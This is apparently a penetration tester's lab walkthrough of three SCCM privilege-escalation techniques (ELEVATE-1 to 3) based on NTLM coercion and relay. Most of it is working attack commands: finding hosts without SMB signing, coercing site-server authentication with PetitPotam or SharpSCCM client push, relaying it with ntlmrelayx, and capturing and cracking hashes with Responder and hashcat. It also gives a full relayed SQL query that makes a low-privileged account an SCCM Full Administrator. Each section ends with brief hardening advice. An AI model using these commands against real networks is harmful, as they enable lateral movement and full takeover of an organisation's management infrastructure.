SCCM - Elevate

ELEVATE-1 - NTLM relay site server to SMB on site systems

ELEVATE-1 documentation

SCCM uses the site system installation account to install and maintain roles on new or existing site system servers. By default, this account is the site server's domain computer account and requires local administrator permissions for and network access to the target systems, and site servers require this permission for ongoing operations regardless of the site system installation account. An attacker could coerce NTLM authentication from the site server's domain computer account and relay it to SMB on remote site systems in the same site to move laterally and elevate privileges.

Find SCCM site systems and check if SMB signing (SigningStatus) is set to false:

sccmhunter.py smb -u domainuser -p password -d ludus.domain -dc-ip 10.2.10.10 -debug

Or use Netexec to get a quick list of hosts with SMB signing on false. In the lab this works fine because there are mostly SCCM related systems. However, in a real network you will start attacking a lot of systems that obviously do not have the site server machine account as a local admin because they are just normal workstations/servers:

netexec smb 10.2.10.10/24 --gen-relay-list relay_list.txt

Then start ntlmrelayx with this list of hosts:

impacket-ntlmrelayx -tf relay_list.txt -smb2support

Next, coerce authentication from the target site server (10.2.10.15) to the attacker's ntlmrelayx host (10.2.10.99):

python3 PetitPotam.py -u domainuser -p password 10.2.10.99 10.2.10.15 -d ludus.domain

Authentication to the site server as the site server will obviously fail because it cannot relay to itself.

In some cases a compromised site system role could lead to hierarchy takeover, while in others a successful attack is simply a lateral movement opportunity.

Example of how you can combine Elevate and Takeover

We can also use this to perform a Takeover-1 attack by relaying the site-server$ machine account to the site database (see takeover-1 for more details):

sccmhunter.py mssql -u lowpriv -p password -d ludus.domain -dc-ip 10.2.10.10 -debug -tu lowpriv -sc 123 -stacked

The target IP is the database server (hosted separately from the site server):

impacket-ntlmrelayx -smb2support -ts -t mssql://10.2.10.13 -q "<full query from sccmhunter>" 

So for example:

impacket-ntlmrelayx -smb2support -ts -t mssql://10.2.10.13 -q "DECLARE @AdminID INT; USE CM_123; INSERT INTO RBAC_Admins (AdminSID, LogonName, IsGroup, IsDeleted, CreatedBy, CreatedDate, ModifiedBy, ModifiedDate, SourceSite) SELECT 0x010500000000000515000000EB54F0667AE95CAA872ED88965040000, 'ludus\lowpriv', 0, 0, '', '', '', '', '123' WHERE NOT EXISTS ( SELECT 1 FROM RBAC_Admins WHERE LogonName = 'ludus\lowpriv' ); SET @AdminID = (SELECT TOP 1 AdminID FROM RBAC_Admins WHERE LogonName = 'ludus\lowpriv'); INSERT INTO RBAC_ExtendedPermissions (AdminID, RoleID, ScopeID, ScopeTypeID) SELECT @AdminID, RoleID, ScopeID, ScopeTypeID FROM (VALUES  ('SMS0001R', 'SMS00ALL', 29), ('SMS0001R', 'SMS00001', 1), ('SMS0001R', 'SMS00004', 1) ) AS V(RoleID, ScopeID, ScopeTypeID) WHERE NOT EXISTS ( SELECT 1 FROM RBAC_ExtendedPermissions  WHERE AdminID = @AdminID  AND RoleID = V.RoleID  AND ScopeID = V.ScopeID AND ScopeTypeID = V.ScopeTypeID );"

Force the site server to auth and relay from our attacker machine to the site database:

python3 PetitPotam.py -u domainuser -p password 10.2.10.99 10.2.10.15 -d ludus.domain

Confirm SCCM Full administrator permissions:

sccmhunter.py admin -u lowpriv -p password -ip 10.2.10.15

Recommendation:

Require SMB signing on all hosts in the domain.

ELEVATE-2 - NTLM relay via automatic client push installation

ELEVATE-2 documentation

See the following research:

• https://posts.specterops.io/sccm-site-takeover-via-automatic-client-push-installation-f567ec80d5b1
• https://posts.specterops.io/coercing-ntlm-authentication-from-sccm-e6e23ea8260a

When SCCM automatic site assignment and automatic client push installation are enabled, and PKI certificates aren't required for client authentication, it's possible to coerce NTLM authentication from the site server's installation and machine accounts to an arbitrary NetBIOS name, FQDN, or IP address, allowing the credentials to be relayed or cracked. This can be done using a low-privileged domain account on any Windows system.

Client push installation accounts require local admin privileges to install software on systems in an SCCM site, so it is often possible to relay the credentials and execute actions in the context of a local admin on other SCCM clients in the site. Many organizations use a member of highly privileged groups such as "Domain Admins" for client push installation for the sake of convenience.

Client Push Installation:

A method for deploying the SCCM client software where the site server connects to a machine's ADMIN$ share, copies over the files needed for installation, and executes the installer (ccmsetup.exe). By default, this connection occurs over SMB, but can occur over HTTP if WebClient is enabled on the site server and the target machine's NetBIOS name is set to a value that specifies a port number (e.g., machine@8080).

Client push Installation accounts:

The list of accounts that the site server tries to authenticate with to install the client. By default, if none of the configured accounts can successfully authenticate, or if no accounts are configured, the site server attempts to authenticate with its machine account.

Can also be used to do Takeover-1, 2 or 4. For example, for Takeover-1 you would instead run the SQL query against the site database server and you would not have to coerce the site server with Petitpotam because that is already happening with the sharpSCCM command below. However, as mentioned this only works if no installation accounts are configured (in that case the site server's machine account is used).

As far as I'm aware, this can only be done with SharpSCCM from Windows. So in a real scenario you need to compromise a Windows host first and then run this (unless you are onsite and connected to the network with a Windows VM ofc).

Relay authentication and target a client (the site database for example; use -socks to not just dump SAM and keep socks open):

impacket-ntlmrelayx -smb2support -ts -t 10.2.10.13

If you are wondering why not target the site server and dump the machine account NTLM > this won't work because you cannot relay to same machine.

On Windows use SharpSCCM.exe, -mp is the managment point, -sc is the site code and -t should be your ntlmrelayx IP:

.\SharpSCCM.exe invoke client-push -mp 10.2.10.14 -sc 123 -t 10.2.10.99

Note: Sometimes, this command results in a client device record being created, but SCCM does not kick off automatic client push installation right away. Running the same command again should kick off the process. After a few minutes, ntlmrelayx should receive a connection from the configured client push installation account(s) and the site server's machine account.

We can also try to intercept and crack the NTLMv2 hash of the push account. Run responder and execute the same SharpSCCM command again:

sudo responder -I eth0 

Crack the hash:

.\hashcat.exe -m 5600 .\hashes.txt .\rockyou.txt -d 1

Check access on all systems:

netexec smb 10.2.10.11 -u sccm_push -p Password123

Again, this creates client entries in SCCM (your ntlmrelayx host). These should before removed after testing:

Recommendation:

In Microsoft Endpoint Configuration Manager (ConfigMgr), the "Allow connection fallback to NTLM" setting for client push installation determines whether the system should revert to NTLM authentication if Kerberos authentication fails. The default state of this setting has changed over different versions:

• Versions prior to 2207: The "Allow connection fallback to NTLM" option is enabled by default.

• Version 2207 (around 2022/2023) and later: For new site installations starting with Configuration Manager current branch version 2207, this option is disabled by default to enhance security.

1. To ensure that NTLM fallback is appropriately managed in existing environments, Microsoft released hotfix KB15498768. This update prevents any attempt at NTLM authentication for client push installation when the "Allow connection fallback to NTLM" option is disabled. It's recommended to apply this hotfix and disable the NTLM fallback option to mitigate potential security risks associated with NTLM authentication.

2. Require SMB signing

3. Disable automatic side-wide client push installation

4. Disable and uninstall WebClient on site servers

ELEVATE-3 - Coerce NTLM relay via automatic client push installation and AD System Discovery

ELEVATE-3 documentation

Using addcomputer.py to add a computer account does not work, see the original blog why: https://www.guidepointsecurity.com/blog/sccm-exploitation-account-compromise-through-automatic-client-push-amp-ad-system-discovery/

Add a DNS record to the domain, by default Authenticated Users can do this. The first IP is your attacker machine, second is the DC.

python3 dnstool.py -u 'ludus.domain\domainuser' -p password -r huh.ludus.domain -a add -t A -d 10.2.10.99 10.2.10.10

Use ntlmrelayx to either point at a list of servers without SMB signing, AD CS Web enrollment or another SCCM site server without smb signing depending on goals. If ntlmv1 is in use within AD, it may be possible to relay to LDAPS and execute RBCD or shadow credential based attacks. Relay against all hosts or a specific host (-t IP) without SMB signing:

impacket-ntlmrelayx -tf relay_list.txt -smb2support

Next, join a real Windows virtual machine to the domain using low-privileged credentials with a computer name matching this DNS record. You can deploy another Windows 11 VM with ludus or join your local Windows VM throught the VPN. In our lab tailscale is used so:

Download tailscale on the Windows VM and make sure that the tailscale DNS is set to the DC IP or you won't be able to join your computer to the domain. The easiest way to do this for all your tailscale clients is by enabling the override local DNS setting in the tailscale dashboard: https://login.tailscale.com/admin/dns

Then as the local admin, set the computer name to the same name as your DNS record and join it to the domain:

Rename-Computer -NewName "huh" -Restart
Add-Computer -DomainName ludus.domain -Credential ludus.domain\domainuser -Restart

Or use Windows+R and run sysdm.cpl

Next, login with your local account and make sure that the VPN is started. After that, switch to your domain account (do not sign out).

The blog mentions you have to delete HOST SPN associated with this machine account to force fallback to NTLM. However, with ntlmrelayx this isn't the case because it first tries to auth with kerberos which ntlmrelayx doesn't support (Unsupported MechType 'MS KRB5 - Microsoft Kerberos 5 error), so it falls back to NTLM. If you use another tool that supports kerberos auth, you will have to execute the following commands as a domain user account:

setspn -D host/huh huh
setspn -D host/huh.ludus.domain huh

After a few minutes (in a default configuration an "delta discovery" takes place every 5 minutes. shortly after authentication attempts should happen.), ntlmrelayx should receive a connection from the configured client push installation account(s) and the site server's machine account.

Example of how you can combine Elevate and Takeover:

We can also use this to perform a Takeover-1 attack by relaying the site-server$ machine account to the site database (make sure to use --keep-relaying with ntlmrelayx!):

python3 dnstool.py -u 'ludus.domain\domainuser' -p password -r takeover.ludus.domain -a add -t A -d 10.2.10.99 10.2.10.10

Join a Windows VM with the computer name takeover to the domain.

Get the SQL query from sccmhunter:

sccmhunter.py mssql -u lowpriv -p password -d ludus.domain -dc-ip 10.2.10.10 -debug -tu lowpriv -sc 123 -stacked

The target IP is the database server (hosted separately from the site server):

impacket-ntlmrelayx -smb2support -ts -t mssql://10.2.10.13 -q "<full query from sccmhunter>" --keep-relaying

Confirm SCCM Full administrator permissions:

sccmhunter.py admin -u lowpriv -p password -ip 10.2.10.15

Recommendation:

In Microsoft Endpoint Configuration Manager (ConfigMgr), the "Allow connection fallback to NTLM" setting for client push installation determines whether the system should revert to NTLM authentication if Kerberos authentication fails. The default state of this setting has changed over different versions:

• Versions prior to 2207: The "Allow connection fallback to NTLM" option is enabled by default.

• Version 2207 (around 2022/2023) and later: For new site installations starting with Configuration Manager current branch version 2207, this option is disabled by default to enhance security.

1. To ensure that NTLM fallback is appropriately managed in existing environments, Microsoft released hotfix KB15498768. This update prevents any attempt at NTLM authentication for client push installation when the "Allow connection fallback to NTLM" option is disabled. It's recommended to apply this hotfix and disable the NTLM fallback option to mitigate potential security risks associated with NTLM authentication.

2. Require SMB signing

3. Disable automatic side-wide client push installation

4. Disable and uninstall WebClient on site servers